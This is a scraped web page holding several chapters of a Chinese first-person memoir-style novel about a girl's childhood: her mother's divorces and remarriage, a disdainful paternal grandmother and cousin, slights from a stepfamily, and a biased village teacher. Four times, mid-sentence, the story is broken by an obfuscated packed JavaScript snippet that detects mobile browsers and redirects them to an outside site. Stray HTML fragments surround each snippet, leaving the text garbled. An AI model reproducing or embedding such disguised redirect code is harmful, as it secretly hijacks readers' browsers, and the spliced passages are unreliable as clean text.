在民政局那天,那个老六还装模作样地说:“以后等我有钱了,我还是会去找你的。” 当时所有人都朝着他们看过来,仿佛我妈是一个很拜金的女人。 我妈冷笑一声,反问他:“你真的想要我说出离婚的真实原因吗?” 那个老六闹了个没脸,最后转身走了。 我回到了姥姥家,这一次我的学习成绩,有了质的飞跃,所有的应用题,我都会做了。 原来,去了一趟县城,被一个老师开了窍,你就会发现,原来这些应用题,也没有那么难。 -- 还是那一年,我终于见到了我亲爹。 我姥姥的村上,也有一个我亲爹这边的亲戚,是我三姨奶。 她家里很富裕,她是我们村煤矿上的会计,她的丈夫是我们村的一个小领导。 平时在村里,我不怎么能见得到她。就算是大老远见到她,她也只会偶尔才会跟我说几句话。 有的时候,干脆装作看不到,从我身边直接走过去了。 我也想主动跟人打招呼,但是看人家严肃走过的脸色,是不太想跟我说话的,我就索性躲开,闭了嘴。 我亲爸就是去她三姨家的时候,顺带来看看我。 我大老远喊了一声爸的时候,他还很惊讶地笑了:“哎呦,这小崽子这么多年不见,还能认识自己亲爹。” 我还记得我三姨奶说:“到什么时候还得你自己亲闺女,别人的孩子跟你没什么关系。” 后来,我爸带我去了F城,去了我奶奶家。 虽然我奶奶住在城里,但是她那个平房其实不大,也很简陋。 屋里甚至都不是土泥地,就是黑色的土地。 她总是嫌弃我姥姥家是农村的,但是她在城里住的地方,还没有我姥姥家的两间瓦房大。 我姥姥家一共六间大瓦房。 因为山上有煤窑,所以村里有很多外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464807|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地来的工人。 外面的两间瓦房,我姥姥经常租出去,租给工人住。 可尽管如此,我奶奶的身上还是有城里人的傲气。她总觉得她住在城里,就高人一等。 我刚去F城,我奶奶就嫌弃我那一身农村装扮太土了,特意带着我去换了一身衣服。 之后,又把我亲叔叔家的闺女,也就是我的堂妹叫了过来,让我们姐妹发展一下感情。 刚开始还是很好的,她喜欢拉着我叫姐姐,喜欢跟我玩游戏。 我奶奶带着我们去逛街,买什么东西也都是买双份的。 只是偶尔,买点其他小物件的时候,我奶奶跟她说:“你姐姐长久不来,这些东西买完给她带回家,这个你就不要争了好不好?” 我堂妹嘴上答应得倒是痛快,心里是很不舒服的。 以至于一天早上,我奶奶去早市买了两个煎饼果子给我们,她的情绪突然爆发。 我吃得很香,我问她你怎么不吃,她瞪了我一眼,冷哼了一声:“我不爱吃这破玩意,你多吃一点,你们农村人吃不到这好东西。” 原来农村人,是会被人看不起的。 即便有些城里人,自己都生活在泥潭里,却还是有高高在上的姿态,把农村人当成下等人。 我不再跟她沟通了。 直到我奶从外面回来,问她你怎么不吃的时候,我才开了口:“我说,妹妹说她不喜欢吃,她说这些破玩意,我们农村人才应该多吃。” 我奶听到这话,斥她不会说话,她气得大哭,还跟我奶撕扯了几下。 我不愿意看这种场面,转身就搬个小凳子在门口坐着,摒弃了屋内那祖孙两个争吵的声音。 五年多来,这是我第一次去我奶奶家,然而我才来没几天,就已经觉得浑身不舒坦了。 我隔天下午就要走了,我奶奶帮我收拾东西的时候,发现我丢了几个发卡,我当时还以为是我自己弄丢的,我到处都没找到,还有点急。 然而我奶却像是心明镜一样,直接去翻我妹妹的包,从包里翻出了那几个发卡,塞进了我包里。 我堂妹当时又哭得很厉害,我奶直接忍不住训她:“你哭什么哭?你偷人东西还有理了?” 我后来才小声跟我奶说:“她要是喜欢就留给她吧,我不要了。” 我奶奶说:“你别管她,她又不是没有。” 下午的时候,堂妹突然想要跟我和好,要带着我去后面玩。 走之前,我奶千叮咛万嘱咐,要她不要摘人家后院邻居养的花。 然而我堂妹也不知是赌气还是什么,她直接朝着后院那家走过去,蹲下去就像发泄一样,摘人家的花,摘完就丢,丢到地上就狠狠踩几下。 我问她这样是不是不好,她让我别管,继续发泄。 直到人家出了门,看到她,她才拉着我就跑。 后来人家邻居直接找上门告状,我奶就问她:“我有没有告诉你,你不许摘人家的花?你去摘几次了?被人抓到几次了?你还要不要脸了?” 我妹妹一边哭,一边看向了身后一动不动的我,她一脸怨毒,之后用手指向了我:“是我姐摘的,我都没碰,你凭什么不骂她?” 6. 第006章 噩梦 说实话,那是我人生中第一次当着面被人冤枉。 震惊之余,我只反驳了一句:“我没碰那些花。” 我奶倒是没回头看我,她一边用手推着我堂妹的肩膀,一边说:“还撒谎,还撒谎,就你摘的花,人家邻居都看到了。” 之后,我堂妹委屈地给她爸打电话,说她在奶奶家快要活不下去了,让我叔叔快点来接她。 我奶也接过电话,跟我叔叔说她的真实情况,我奶也一边说一边哭。 之后没多久,我叔叔就来了。 我去F城那么久,我叔叔一直没露面,现在来接女儿,倒是看见了我。 他居高临下地睨了我一眼,我还亲切地喊了他一声:“老叔,你来了啊?” 他甚至都没应我一声,冷着脸就从我身边走过去。 我至今还记得他那冷漠的眼神。 从那天开始,我就知道,我没有叔叔了。 或许,我从来就没有过叔叔。 我叔叔低下头给女儿穿鞋,然后抱着我堂妹就走了。 说实话,那一刻我很羡慕我堂妹,最起码,她的爸爸真的很宠她。 后来,我上大学之后,我去我奶奶家,我奶还问我想不想堂妹,想不想叔叔,要不要让他们来看看我? 我提起当年的事,我奶脸色尴尬了一瞬,然后低声嘟囔着:“这孩子记仇,这毛病可不好。” 记仇吗? 是挺能记着的。 我对这些事,印象一直很深刻。 我记得我当时被送回了姥姥家。 我其实不想留在我奶奶身边的,我知道她没那么喜欢我,我也不喜欢她在F城的那个家,处处都让人不自在。 然而,我还是记得走之前,姥姥对我的嘱托。 我把姥姥让我说的话,都说给了奶奶听。 我问我奶奶:“奶奶,我不喜欢姥姥家,在姥姥家吃不好穿不好,我想留在F城,留在您身边,我不回姥姥家了,可以吗?” 我能看到我奶当时眼神中的紧张和局促,最后,她把我拉到角落里,同我说:“你爸妈离婚的时候,房子判给了你妈,所以你就该让你姥姥带着你。当然,你回去跟你姥姥说,如果你妈愿意把房子还回来,奶奶就让你留在F城。” 其实从那天开始,我就明白了。 她一点都不爱我。 很多成年人的眼中只有利弊,没有感情。 我爸甚至觉得,我妈拿走了房子,就该养着我。他甚至不支付抚养费,也从来都不会管我过得怎么样。 我奶奶大概想要哄我,还问我有什么愿望。我只记得我当时坐在我爸的自行车后座上,路过了一家蛋糕店,我告诉我爸,我一直都没吃过生日蛋糕。 我奶奶问我愿望的时候,我告诉她,今年过生日的时候,我想吃我爸买的生日蛋糕。 那一年,我的愿望被满足了。 那是我爸第一次花钱给我买生日蛋糕,也是唯一的一次。 我还记得,我姥姥总说,我奶奶带我出去的时候,一定要注意,如果带我到河边,就要躲得远一些,千万不要靠近,小心他们没有良心,把我推进去。 那让我忽然想起,我妈和老六还没离婚的时候,妈妈带着我去河边洗澡。 河水很深,没过我的肩膀。 河水里的石子很滑,我不小心跌倒,整个人都淹没在水中。 我还记得妈妈当时都没有伸手捞我一把,就站在那里静静看着我。 最后还是我求生欲望强烈,自己从水中站了出来,我妈才冷淡地说了一句:“在水里一定要注意。” 其实这个事,藏在我心中很多年了。 然而我一直没有勇气问我妈妈,当时有没有闪过一个念头,想着如果我这个拖油瓶死了,她就真的解脱了。 可我不敢问,直至今日我都不敢问,我怕妈妈没有那样的想法,我这么说无疑会伤她的心。 可是从那一天开始,我妈妈情绪激动下的每一句话,都会让我胆战心惊。 她骂我滚到我死爹那边的时候,我吓得痛哭流涕,一哭就是一整晚。 第二天上学的时候,眼睛会肿得睁不开。 我在害怕,我害怕她真的不要我了。 童年的伤痛,有的时候需要一生来治愈。 正如此刻,我在电脑前面打着字,却泪如雨下。 回忆起这些,就好像把曾经的伤痛撕扯开来,血淋淋地拿给别人看。 现在我长大了,结婚成家了。 我不再恐惧被家人抛弃。 可我每晚都会做梦,梦中的场景天南海北,什么都有。 可我还经常会梦到姥姥家以前的房子。 我会梦到那半山腰上的民居,梦到那一条条的小路和胡同,梦到山上的那个岔路口,梦到我妈妈说,你回你那个死爹那里吧。 -- 还是我三年级的那一年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464808|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我姥家隔壁的老王家夫妇,给我妈介绍了新的对象。 这个男人,就是我妹妹叶落的亲生父亲,暂且叫他老叶吧。 我还记得那天,闹了一个乌龙。因为来我姥姥家相看我妈的,是老叶的父亲,也就是我未来的继祖父。 他觉得我妈看起来稳重朴实,当时就很满意。 然而我妈却不太高兴,她还以为邻居给她介绍了一个老头。 她当时也就三十出头,她觉得邻居故意寒碜(瞧不起)人。 后来误会解除,我妈才知道,真正要给她相看的,是我继祖父的儿子老叶。 不过,我妈去见老叶的那一天,也还是不太满意。 她觉得老叶长得又丑又老,明明只比她大了五岁,看起来却比老叶的父亲,没年轻多少。 两家见面的那一天,我姥姥亲自上门,看了一眼老叶的家庭环境。 虽然都住在农村,老叶的家也住在山沟里,但是家里的大院,收拾得井井有条,看起来像是过日子的人。 我姥姥最终劝我妈,同意了这门婚事。 就这样,我妈跟着老叶去E城玩了一趟。 老叶的前妻死于白血病,死了有七八年了。 老叶这期间一直没有续娶,对我妈也很体贴,甚至于还帮她剪脚趾盖。 这是我亲爸和老六没做过的事,我妈突然觉得老叶这个人还行,很快就答应同他在一起。 之后,他们就定下了婚期,只是办婚礼,没有领证。 相比于我妈前两次的婚姻,老叶的婚礼排场很大,安排得很隆重,一共十辆豪华轿车来接亲。 在那个年代,对于当时我们村来说,已经是很顶配的婚礼了。 而我当时,是作为娘家客人去参加婚礼的。 在婚礼上,所有娘家客人带来的小孩,都有一个五十块钱的红包。 而我作为新娘的女儿,又有继父给的二百元红包,加起来,一共二百五十元。 恩,很吉利的数字。 我还记得那场婚礼,我继兄带着他的小伙伴去抢喜糖。 我还记得回姥姥家的路上,我小舅舅家的表弟跟我舅妈说:“妈妈,等你结婚了,我也去参加婚礼。” 表弟还小,不懂得为什么我可以参加妈妈的婚礼。 但是我懂。 我还继续由我姥姥带着,在我姥姥家这边上学。 我知道,我又要长久长久地见不到妈妈了。 7. 第007章 被困 我继父有两个孩子。 老大是个女儿,当时十七岁,已经辍学在瓦厂打工了。 老二是个儿子,比我大一岁。 那时候,我继兄年纪小,还是渴望母爱的年纪,他对我妈妈还是很依恋的。 他喜欢吃西红柿,他就觉得这个是好东西,会偷偷藏起来,留给我妈妈吃。 我妈很感动,回到我姥姥家,到处说这孩子懂事。 他那段时间也很粘着我妈,我妈回姥姥家,他也要跟着。 我好不容易盼到我妈回来一次,却不能跟我妈妈睡在一起,只能眼睁睁看着他抢走我妈的宠爱,看着他睡在我妈旁边。 姥姥和妈妈都劝我要懂事,我甚至不敢跟他争。 那时候,除了我妈偶尔会回我姥姥家看我之外,我只有过年的时候,才会去继父家里,看到我妈。 我还记得自己第一次去继父家的时候,我就好奇地盯着他们家的电话看。 那时候我姥姥家没有这个东西,只有我大舅舅家有。 我只是好奇,只是看,并没有要碰的意思。 然而我继祖母却很狠厉地瞪了我一眼,吼了我一句:“不许碰。” 我吓得离那个东西远远的,只能躲在角落里,不敢说话。我战战兢兢,生怕哪一步行差踏错。 我还记得我刚去继父家的时候,他们家的老房子还没装修,外屋地(厨房和客厅都可以这么叫)是泥土地,那里面有一个大水缸。 水缸里的水都是井水,可以直接饮用。 我继兄和我继叔叔家的几个孩子,都是直接拿瓢盛完水,喝完就倒地上,转身就跑。 我之后才知道,是不能往地上倒水的,因为我继祖母一直说,地上不能湿着。 她那天看到地上有水,就一直问谁倒的。 我小时候诚实得有点蠢,我举起小手,承认自己不小心洒了一次。 我继祖母冷下脸来,满脸的横肉看起来格外吓人,她轻哼了一声,见我继兄要去喝水,就指桑骂槐:“喝水就好好喝水,别不小心往地上洒,不知道还以为嘴漏了。” 我其实想争辩的,我想说他们喝完水都往地上倒,凭什么只阴阳我? 可是这种争辩其实是没有意义的,我不是那家人的孩子,那家人就算是往地上倒了,人家奶奶顶多宠溺地拍他一下,这事就算过去了。 只有别人的孩子,她看着碍眼的孩子,才会阴阳怪气地凶你。 我还记得,我那时候吃晚饭。明明凳子有很多,我的继堂妹却故意拿走了我身后的凳子,差点害我摔倒。 我和她争辩了几句,最后却被我妈拉走教育。 我妈问我:“如果你和她吵了起来,你觉得我们在这个家里,还能待下去吗?你是要让妈妈为难吗?” 我一时哑声。 我那时才明白,我原来连同人争辩的权利都没有,我只能忍着。 我小时候总在问自己,时间为什么过得这么慢啊,我到底什么时候才能长大,我到底什么时候才能脱离这个环境? 我继父家的规矩真多啊,亲戚也多。 过年要祭祖,年夜饭也有很多讲究。 年夜饭有几道菜,都要做什么菜,什么时间做,我继祖母都有明确的要求。 鸡肉和猪肉要在白天炖,要在双数的时间炖,用大铁锅炖肉的时候,火候也有讲究。 火烧得越旺,代表着明年的日子越红火。 年夜饭桌上不能有虾,因为扒虾寓意不好。 要有猪蹄爪,必须是前爪,代表着新的一年可以挠钱。 要有生菜,新的一年寓意生财。 包饺子不能是酸菜馅的,因为酸菜谐音是穷酸,寓意不好。 规矩多就算了,整整一大家子的年夜饭,由我妈一个人来做。 我继祖母是个很小气,又十分刻薄的老太太。 我妈妈去他们家之后,我继父的弟弟、弟媳妇包括妹妹和妹夫就要每天到我们家吃饭,来了就吃,吃完就走,也不帮忙收拾桌子。 我继祖母总说,我继父的弟媳妇有病,不能干活、不能做饭,还说我继姑姑身体也不好,这些活儿,只能让我妈一个人干。 其实,就是变相地欺负人。 农村的那些活,我妈原本是不会做的。 她第一次和我亲爸结婚的时候,也因为做饭不好吃,受到了我亲奶奶的刁难。 现在换到了新的一家,我继奶奶还是在刁难她。 我妈做得好,无人夸奖。做得不好,就要一直挨训。 短短几年的功夫,她从一个不敢杀鸡的人,变成了几分钟就可以给一只鸡放干净血,然后不到两个小时,就可以将一只活鸡,收拾得干干净净。 她能做这些事,完全是那些年,在村里,被我继祖母磋磨的。 我继兄也很快长大,渐渐的,村里那些多嘴的人,甚至包括他的亲姑姑、亲奶奶,都会在他耳边教育他:“你现在的妈妈又不是你的亲妈,你不必对她那么好,她伺候你,对你好,都是应该的。你要是哪里对你不好,你就告诉你爸,好好教训她。” 诸如此类妨碍他们母子关系的话,我继兄被教了太多太多,以至于他后来对我妈越来越放肆。 人有的时候不是一瞬间变坏的,是一点一点,慢慢受影响的。 我还记得,我刚去我继父家的时候,我继兄对我很好。 我继父当时因为给他原配老婆治病,欠了八万的外债。 在九十年代末和二十世纪初,这可不是一个小数目。 我继父借钱买了一个大翻斗车,带着我妈出去开夜车,拉货。一年之内,就把外债还得差不多了。 可尽管如此,我继父家的生活,看起来也比我原本的生活高档一些。 他们家还有VCD,可以听歌,可以看视频,看电视剧看电影。 那些光盘都很贵,可我继兄压根不把那些光盘当回事,经常摔在地上,也不捡起来。 光盘很容易被划,划了就会卡,时间长了就不能用了。 可我继兄压根不会保存东西,光盘划了就划了,他有很多,他觉得这些东西可以再买。 心疼那些光盘的,只有我。 有些时候,他看完的丢在一边,我都会默默收起来,给他摆放好。 可我不敢指责人家是如何糟践东西的,因为那些毕竟不是我的,我没有发言权。 我继兄刚开始还是很好的,他会给我放电影,我还记得当时他带我看得最多的,是《山村老尸》。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464809|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他去小卖部买辣脆肠的时候,也会给我买一个。走到哪,他还会跟别人介绍,这是我妹妹。 可是很快,他便被人怂恿得变了样。 有一天他就和我并排坐在大车上,他突然就用很奇怪的眼神看着我,对我说:“你不是我妹妹,你又跟我不是一个姓。” 之后,他又说:“将来,你也是跟人跑的料。” 小孩子是不会突然就说这些话的,这些话,一定是有什么人在他跟前说,他学来的。 我继兄学习成绩很不好,经常考班上倒数第二。 原有的憨厚品质,也在那群自诩为对他好的大人的挑唆下,变得越发刻薄、尖锐。 他和我妈也渐渐没那么亲近,经常当着我继父的面,就说我妈的不是。 不过好在,我只有放假和过年的时候跟他接触,除了那一次的言语攻击,他对我倒没什么实质性的伤害。 唯一让我印象深刻的一次,是在E城。 当时我马上升五年级了。 我继父和我妈在E城干活。 放暑假,我继父把我继兄和我,都接到了E城。 我继父白天上班,我妈有时候在家里也闲不住,就把我们两个放在家里,她自己去找街坊邻居聊天、打麻将。 我继兄是不会想我妈的,但是我在家里实在待得无聊,见我妈迟迟不回去,我就跟他说:“我去楼下小卖部找我妈,我没带钥匙,我要是没找到,你记得给我开门。” 我继兄答应了。 我下楼之后,把我妈带我去过的地方都找了一个遍,却没看到我妈的踪迹。最后,我只能回到家。 可我回家之后,怎么敲门,我继兄都不开。 当时还是冬天,我找不到我妈,又开不了门,就只能蹲在门口,一直等着。 等了好几个小时,才等到我妈回来给我开门。 这期间,我一直尝试着敲门,门里面都没有动静。 我妈进屋之后,发现我继兄在睡觉。 后来我继兄还是自己忍不住说:“其实我当时听到敲门声了,太困了,懒得起来给她开。” 其实这样的事,还发生过一次。 当时在我继父家。 我继父赚到了钱,给家里盖了大房子,也安装了马桶。 可是农村的排水系统不太好,马桶只能上小号,不能上大号。 如果要上大号,就需要去院子里的旱厕。 当时,院子里拴着我继姑姑养的一条大狗。 那天早上我去上厕所的时候,不知道怎么了,狗链子开了,那个狗满院子跑,吓得我根本不敢出去。 我一走出厕所,它就对着我叫。 我只能大喊狗链子开了,喊了快一个小时,才被我妈发现…… 之后,我妈去喊我继祖父,我继祖父才出来把狗链子拴上。 那天早晨吃饭的时候,我继兄居然笑呵呵地说:“她喊那么大声,我在屋里都听见了,你们居然谁都没听见,谁都没出去救她。” 我继父家里人,只有我妈问我继兄一句:“那你听见了怎么不叫人?” 我继兄还是那副无所谓的样子:“我懒得起来呗。” 而当时,除了我继兄,他们其他人,一句话都没说。 8. 第008章 蚕蛹 我妈从我去我继父家开始,就不断教育我,无论有什么东西,都不能跟他们争,给我吃什么就吃什么,给我穿什么就穿什么。 所以过年的新衣服,我只能买便宜的,我继兄要穿什么都可以买。 而我的衣服,一定要比我继兄的衣服便宜,这已经成了不成文的定律。 每一次我妈给我继兄和我买完衣服之后,都会跟我继父说价格。她会说我的衣服才花了多少钱,而我继兄的那一身衣服是牌子货,又花了多少钱。 我妈急于想向我继父证明,我这个拖油瓶根本花不了什么钱。 我那个可怜的妈妈,明明什么苦都吃过,在那个家里却依然过得如履薄冰。 其实我继父不是抠搜的人,最起码在当年,他的生活没有经历过大起大落的时候,他不是小气的人。 但是我继祖母、继姑姑、继姐乃至一大家子的人,都会盯着我妈的一举一动,生怕我们娘两多花一分钱。 即便是我妈跟着我继父跑夜车很辛苦,即便是她之后要做一大家人的饭,勤勤恳恳地干活…… 可在他们家里人眼里,我妈没有工作,钱都是我继父赚来的,所以我们娘两吃饭、喝水、穿衣,就都是他们心善施舍来的。 我们就应该小心翼翼的在屋檐下活着。 其实不仅他们家人,连我妈都这样觉得,她自己就觉得低人一等,甚至生怕她的婆婆、她的小姑子去小卖部讲她不好。 所有人都觉得,我们就该卑微地活着,给我吃的每一口饭,我都得心怀感激。 我有时候甚至觉得,我妈都不如他们家的保姆。保姆最起码还有工资,还有人给你交五险一金,还有最起码的生活保障。 保姆,虽然是服务行业,可保姆最起码是站着,就把这钱给赚了! 我还记得,村里每周四都可以赶集。 我就因为在集市上买了四块钱一斤的蛋糕,就因为我是大摇大摆地拿回家,被我继奶奶看到了,所以就遭到了我妈的训斥。 那一顿骂下来,那个蛋糕都不甜了。 我吃不下去的时候,我妈还逼着我吃,说既然买了,就应该都给吃完。 我一口一口,干噎着那蛋糕,味同嚼蜡,难受至极。 我还记得,我继父家里来了S省的亲戚,我该跟着继兄叫一声姑奶奶。 那个姑奶奶年纪很大了,在我继父家里一住就是好几个月,还需要我妈亲自照顾。 她来了我继父家里之后,就成了我妈第二个婆婆,家里一切大小事务,她都要跟着掺和。 她每天起床看到我,都喜欢夸赞一下他们家人的善举。 她会一直念叨:“我们家人就是善良,哪怕不是自己的孩子,那都是会当亲生孩子看的。” 当时,我妈每天都会给我和继兄分零花钱,继兄分到的比我多一些,我每天只有两块钱。 继兄花钱花得快,而我不怎么出门,才三天就攒了六块。 我那天拿着那六个钢镚儿,在手里玩了几下。我当时想法很简单,我想学那些算命摆铜钱的,在手心里晃一晃,然后摆在地上,再拿起家里的算命书,对比一下正反面,测测今日的吉凶。 要不说封建迷信不可取,算命书并未告诉我,那天大凶。 姑奶奶看到我在那玩六个钢镚儿的时候,眼神就已经不太对劲了。 刚好我继兄又回到家,一直嚷嚷着自己没钱了,要给他拿钱。 我妈给他拿完钱之后,回过头就来骂我,说自己有钱也不知道藏起来。 那个时候,大约是零二零三年,六个钢镚儿,远没有那么值钱,顶多能去小卖部,买六个拇指长的辣脆肠。 所以,当我继兄没钱的时候,我手里有六个钢镚儿,就是原罪。 也是那个暑假,也是S省的姑奶奶还在的时候,也发生了一件让我终身难忘的事。 我不知道你们吃没吃过蚕蛹这种食物? 蚕蛹,是我们这的一个特色。 蚕蛹在完全成蜕变成黑色的蚕蛹之前,有一个从绿色转变成黑色的过程。 而绿色的蚕蛹,在我们这边叫活神仙。 活神仙炒起来非常嫩,也不用吐皮,口感特别好。 因为活神仙很快就会变成黑色的蚕蛹,所以,价格也昂贵了不少。 在我姑奶奶来的那段日子,家里开了小灶,做了一顿活神仙。 我在饭桌上都不怎么敢动筷。 最后,一大家子人下桌的时候,活神仙还剩了一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464810|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晚上,我饿了,我妈妈给我热了点粥,把活神仙给我端了过来。 她觉得这本来就是吃剩下的,给我吃了也无妨。 可是就因为吃了这点活神仙,第二天一整天,我的继奶奶和姑奶奶就一直指桑骂槐,一直在问那点活神仙被谁吃了。 后来我继兄回来了,我姑奶奶更是拽着他大声问:“哎呀,剩的那点活神仙你吃没吃到?” 我继兄摇了摇头。 我姑奶奶便大声喊:“你说你不就是个傻子嘛,有好东西你不吃,都被别人给偷吃了。” 说到“偷”这个字的时候,她重重咬字,声音极大,生怕街坊四邻,生怕整个村子都不知道这事。 我当时还是小学生,一整天把自己闷在屋子里,臊得我连房门都不敢出。 我一直想要求着她们,说几句就算了,不要一直说了…… 可是没有人听到我内心翻江倒海的呼喊,那刺耳的字眼,整整折磨了我一天。 这件事,被我记了很多年。 以至于后来我每次回姥姥家过节,饭桌上有这道菜的时候,我都会想起这段往事。 说到底,不过是口腹之欲,几口东西的事,吃不吃,又能怎么样呢? 就那么一小盘活神仙,我为什么要吃啊? 人吃米饭馒头都能活,可我偏偏馋那几口吃的,以至于这么多年了,这件事还是我的童年阴影。 说出来可能你们不信,我再度回忆起这段,还是会落下泪来,整个人不自觉地颤抖着。 我已经到了想吃什么可以放肆吃的年纪,我已经到了无人再约束我吃穿的年纪,可曾经发生的一切,却像是烙印一样,永远不会随着时间消散。 其实我到现在,物欲都很低。 也许是因为不断压制自己的物欲,又或许是因为习惯了某种生活方式,所以哪怕我后来长大了,赚钱了,我发现我似乎也没有什么非买不可的东西。 我甚至不怎么喜欢买衣服,衣服够穿就好。我也不像其他女孩子喜欢包,我出门非必要,我都不想背包,我就只想带个手机。 我小时候的梦想就是快快长大,离开那个山村。 我现在终于离开了,可我的一部分灵魂,却永远被囚禁在了那里。 9. 第009章 被欺 不过还好,在上初中之前,我只有寒暑假才会住在那个家里。其余上学的时间,我还在姥姥家这边。 只是,姥姥家这边的小学也经历了变故。 在我五年级下学期的时候,村里的两所小学合并了。 而我原来的子弟小学,也不复存在了。 相对于另外一个小学而言,我们子弟小学的环境要好。 子弟小学不用烧炉子,有暖气。 学校的旱厕也不是露天的。 所以,我不需要换校区,只是换了班级和老师。 我原来的那个班主任,姓丛,我就叫她丛老师吧。 其实从老师教学水平很一般,我经常能听到村里的一些学生家长,说她在村里打麻将总是玩赖,没人愿意跟她同桌玩。 但其实,她在对待学生的问题上,还是个讲道理和善良的人。 我记得,我当时刚从县城转回学校的时候,她还试图跟校长沟通,想要免去我的学杂费。 我当年上小学的时候,九年义务教育的学杂费,还没有全免。 虽然学校最终也没批下来,但是我依然很感谢她曾经为我争取过。 可是,两个学校合并,老师靠抓阄的方式抓学生,我最终被选去了另外一个班级,即将面对一个完全陌生的老师。 新老师姓潘,是正儿八经师范毕业的,教学水平相对好一些。 可是她那高高在上的傲气,把学生分为三六九等的架势,以及对我做的一些事,实在是令人难忘。 我始终能记住她那张刻薄的脸,以及说话时那让人不适的语气。 我姥姥家那个村,分为两个区域,分别是堡子里和矿里。 而我姥姥家,则是住在矿里。 矿里属于矿区,山上有不少煤窑,相对堡里而言,经济条件要好一丢丢。 我原本所在的子弟小学就是矿里的小学,而新来的老师,是堡子里的老师。 她对我们矿里的学生,有一种天然的抵触。 她甚至当着学生们的面,就跟其他老师还有校长说我们矿里的学生矫情。 因为冬天在操场上做广播体操,她说矿里的学生会带手套和围巾。而堡子里的学生,连外套都不穿,穿个毛衣就跑出来了。 东北的冬天,零下十几度二十几度的天气,寒风凛冽。我们矿里的学生,确实不如堡里个别的男同学抗冻。 忘了告诉大家,我们合并后的学校,校长也姓潘,潘校长刚好就是我们班主任的亲姑姑。 正好隔年春天,潘校长下发任务,让我们集体去堡子里的空校舍大扫除。 我们的潘老师当着姑姑的面,亲口说:“明年招收一年级的小孩,你可得帮我好好看着,我就不喜欢那些埋汰的小孩,就像我们班的曲某某,鼻涕从来擦不干净。” 说这话的时候,她没背着人,最起码我这个小透明,刚好在她身后擦玻璃。 连她的亲姑姑听到这话,都忍不住睨了她一眼。 其实她口中的那个曲某某,并不是故意擦不干净鼻涕,他是有鼻炎。 天一冷,风一吹,就格外严重。 班里的同学都没有嫌弃过他,他大概自己也不知道,他居然被老师给嫌弃了。 后来,我们学校唯一的一个英语老师,办了一个补课班。 补课班倒是不贵,一个月上四次课,一次课上一整天,一个月只要五十块钱。 这个价格在2004年,也算是非常优惠了。 我当时对这门课不算重视,而且小升初不考英语,初中才会重新学,我一点都不喜欢听英语课。 我当时毕竟是农村小学出来的小孩,完全不理解城乡差距,也不懂得英语课意味着什么。 但是我姥姥坚持认为,我的英语不能落下,硬是拽着我,去报了这个补习班。 那个英语老师姓赵,他对我一直很好,他夸我聪明勤奋,还夸我老实懂事。 在那个学校里,他算是为数不多的,愿意为我说话的老师。 我在那个补课班里,认识了一个男同学,也姓曲。 他跟我说,他之所以转学,都是被潘老师逼的。 因为潘老师让所有同学都不许跟他玩,也不许跟他讲话,硬生生逼着他转了学。 他提起潘老师,是一脸的恨意。 他讲述自己经历的时候,我并未全信,甚至也没当回事。 一来是我觉得,他在潘老师班上的时候,我又不在,我又没有亲身经历过他当时的情况。我总感觉,一个老师这么做,有可能不是无缘无故的,大概是他太淘气了。 二来大概是没办法共情。因为针没扎到自己身上,确实感受不到疼。 不过后来发生在我身上的事,让我明白,他说的这些事,潘老师是能干出来的。 当时我六年级了,无论是身体还是思想上,都有了一定程度的变化。 这第一个变化,是我收到了第一封来自男孩子给我写的情书。 这个男孩子我甚至不熟悉,只是在校运动会上,跟他打了个照面。 他原本是堡子里的学生,并校后又在丛老师班里,我和他甚至都不是同学。 我忘了我们第一次碰到具体是什么样的情况,我就记得他盯着我看了好一会儿,之后就从很多男同学嘴里传出,他喜欢我。 不仅是他,当时班上还有几个男同学,也对我表达过这样的想法。 其实我发育得很早,大约是从九岁开始,上半身就开始发育。 到了我三年级开始,大约就有B了。 当时我姥姥包括我妈,都把这个状况怪到了膨化食品和娃哈哈身上。 我妈觉得,是小时候她给我喝了太多的AD钙奶,才导致我发育过早。 我姥姥甚至让我穿特别宽大的衣服,试图盖住那个部位。 而到我六年级的时候,我那个位置,看起来已经很明显了。 